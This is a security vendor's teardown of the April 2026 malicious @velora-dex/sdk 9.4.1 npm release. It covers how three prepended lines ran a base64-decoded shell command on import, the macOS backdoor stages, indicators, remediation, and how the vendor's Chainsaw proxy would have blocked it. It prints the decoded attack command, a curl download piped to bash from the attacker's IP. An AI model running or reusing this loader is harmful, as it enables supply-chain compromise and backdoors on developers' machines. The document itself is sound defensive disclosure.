Teardown: the @velora-dex/sdk npm compromise

Questions and answers

What happened?

The Velora DEX SDK compromise is the 7 April 2026 attack in which a malicious version of @velora-dex/sdk, 9.4.1, was published to npm with code that installed a macOS backdoor the moment the package was imported. The npm registry records the publish at 19:03 UTC, the time also given in the GitHub issue that reported the release and by SafeDep. The OpenSSF malicious-packages entry, MAL-2026-2510, was published at 19:23 UTC, about 20 minutes later.

9.4.2, which removed the injected code, followed at 22:25 UTC the same day, about three hours and twenty minutes after the bad release, per the npm registry and SafeDep. SafeDep puts the package at about 2,000 weekly downloads. Versions 9.4.0 and earlier, 9.4.2 and later, and the 9.4.1-dev.1 and 9.4.1-dev.2 pre-releases are clean.

9.4.1 was first deprecated and stayed downloadable for a time, as a commenter on issue #233 pointed out. A Velora maintainer said on 11 May that npm had removed the version from the version history, the date SafeDep also gives. An OpenSourceMalware update dated 13 July 2026 also reports the version removed.

Wiz attributes the release to JINX-0164, which Wiz describes as a financially motivated cluster targeting cryptocurrency developers and active since at least mid-2025. SafeDep names no actor but reads the pattern as a targeted campaign against cryptocurrency developers.

How did the attacker get in?

Through npm publishing access, not the source repository. The GitHub repository never held the malicious code: the reporter in issue #233 and StepSecurity found no matching source change, so the build was uploaded straight to the registry outside the project’s normal release pipeline.

No source confirms how the attacker got that access, and none of the write-ups quotes a cause from Velora:

• Wiz says the unchanged GitHub source suggests “the attackers only had access to NPM credentials.”
• SafeDep says the short window and quick fix are consistent with a compromised maintainer credential rather than a purpose-built account.
• OpenSourceMalware lists several possibilities, from stolen CI/CD tokens to a compromised maintainer account during a release.

What changed in the package?

The Velora DEX SDK compromise changed two files in @velora-dex/sdk. The first is package.json, whose version moved from 9.4.0 to 9.4.1; the second is dist/index.js, the package’s main entry. StepSecurity compared the two tarballs from April 2026 and found nothing else changed, including the other built bundles.

• Three lines were prepended to dist/index.js, after the 'use strict' directive according to SafeDep.
• The three lines call exec from child_process on a base64 string that is decoded with base64 --decode (or -D on macOS) and piped into bash.
• No install hook was added. package.json scripts were not touched, so npm install --ignore-scripts does not stop the payload. The code runs on require('@velora-dex/sdk') or an import, in any application, test run or build tool that loads the SDK.

StepSecurity gives the decoded command as a detached, silent download-and-run:

nohup bash -c "$(curl -fsSL http://89.36.224.5/troubleshoot/mac/install.sh)" > /dev/null 2>&1

What ran on import?

Importing @velora-dex/sdk 9.4.1 first ran a shell script from the attacker’s server, which installed a backdoor on macOS. The real payloads were never in the npm package. Write-ups from StepSecurity, Wiz and SafeDep in April and May 2026 describe two further stages, both downloaded from the attacker’s server.

• Stage 2, install.sh: creates ~/Library/Application Support/com.apple.Terminal/, downloads a binary named profiler built for Apple Silicon or Intel from 89.36.224[.]5, marks it executable and registers it with launchctl submit -l zsh.profiler, so it survives reboots and runs as the current user without elevated privileges (StepSecurity).
• Stage 3, a Go backdoor: Wiz calls it MINIRAT (SafeDep: minirat). SafeDep lists machine fingerprinting, VM detection, AES-encrypted C2 traffic, command execution, and file and directory upload and download, with datahub[.]ink as the live C2 and cloud-sync[.]online and byte-io[.]us as unregistered spares. Wiz says it does not perform the automated data theft of the group’s larger AUDIOFIX stealer.
• Linux: StepSecurity saw the script run and contact the server on a GitHub Actions runner, but no binary was downloaded. The backdoor is macOS only.

Would Chainsaw have stopped it?

Yes. Chainsaw would have stopped the Velora DEX SDK compromise for installs through its proxy: 9.4.1 is refused on first download, on day 0, before any malware feed lists the version. The result comes from our re-run of 58 attacks from 2026 against production Chainsaw (v0.22.118) on 19 October 2026:

• A default rule refuses 9.4.1 on day 0. The default rule “Block import-time execution of fetched or decoded code” refuses packages whose code runs a downloaded or decoded payload when they are imported. The prepended top-level exec of a base64-decoded command piped to bash is one of those shapes, so the first request fails.
• The rule has to be in your policy. The rule is part of the default policy set. An organisation whose policies do not include the rule gets the hold and the feed below, not the day-0 refusal.
• The release hold and the feed sit behind it. Chainsaw holds every new npm version for 48 hours by default. The known-malicious feed listed 9.4.1 about 20 minutes after it was published, well inside the hold, so 9.4.1 stays refused after the hold ends.
• The day-0 refusal depends on the loader’s shape. The rule matches a top-level child_process call on decoded or fetched content. The same payload run through eval or new Function, or from inside a function, is not matched on day 0 and falls back to the hold and the feed.
• Chainsaw does not see the later stages. install.sh and the profiler binary come from the attacker’s server when the package is imported, not from npm. The refusal does not depend on them: the three lines in dist/index.js are enough.
• Installs that bypass the proxy get the malware. A laptop or CI runner pointed straight at registry.npmjs.org is not protected. Chainsaw therefore also gates CI, pins laptops through MDM and blocks direct registry traffic at the network.

What should you do?

The Velora DEX SDK compromise is limited to one version, @velora-dex/sdk 9.4.1, published on 7 April 2026. The first and most urgent step is the one StepSecurity and SafeDep recommend: treat any machine, container build or CI runner that installed 9.4.1 and then imported the package as compromised. Then:

1. Check what you installed. Search lockfiles, node_modules, Docker builds and CI logs for @velora-dex/sdk@9.4.1.
2. Move to a clean version. Pin 9.4.0, or upgrade to 9.4.2 or later.
3. Remove the backdoor on macOS. Run launchctl remove zsh.profiler, delete ~/Library/Application Support/com.apple.Terminal/profiler and its directory, and check ~/Library/LaunchAgents/ for plists whose names contain terminal, profiler or zsh, as SafeDep advises.
4. Rotate every credential the machine could reach: npm and GitHub tokens, SSH keys, cloud credentials, API keys in environment variables, browser-saved passwords and cookies, and crypto wallet keys.
5. Search network logs for 89.36.224[.]5, datahub[.]ink, cloud-sync[.]online and byte-io[.]us.

For the next one:

1. Do not rely on --ignore-scripts. This payload ran on import, not on install.
2. Commit lockfiles and install with npm ci, so a new patch release is not picked up silently by a ^9.4.0 range.
3. Watch for releases with no matching tag or commit. 9.4.1 had no source change behind it.
4. Publish from CI with npm trusted publishing, so a stolen token alone cannot upload a release.
5. Hold brand-new releases before installing them. The bad version was live for about three hours before a clean one replaced it, shorter than a one-day hold.

Sources

• OpenSSF malicious-packages, MAL-2026-2510: malicious code in @velora-dex/sdk, 7 April 2026.
• VeloraDEX/sdk, issue #233: package compromised on npm, opened 7 April 2026.
• npm, @velora-dex/sdk registry metadata (publish times).
• StepSecurity, @velora-dex/sdk compromised on npm: malicious version drops macOS backdoor via launchctl persistence, 7 April 2026.
• SafeDep, Malicious @velora-dex/sdk delivers Go RAT via npm, 8 April 2026.
• Wiz, Commit to compromise: a new threat actor targeting the cryptocurrency industry’s software development infrastructure, 27 May 2026.
• OpenSourceMalware, Velora hacked.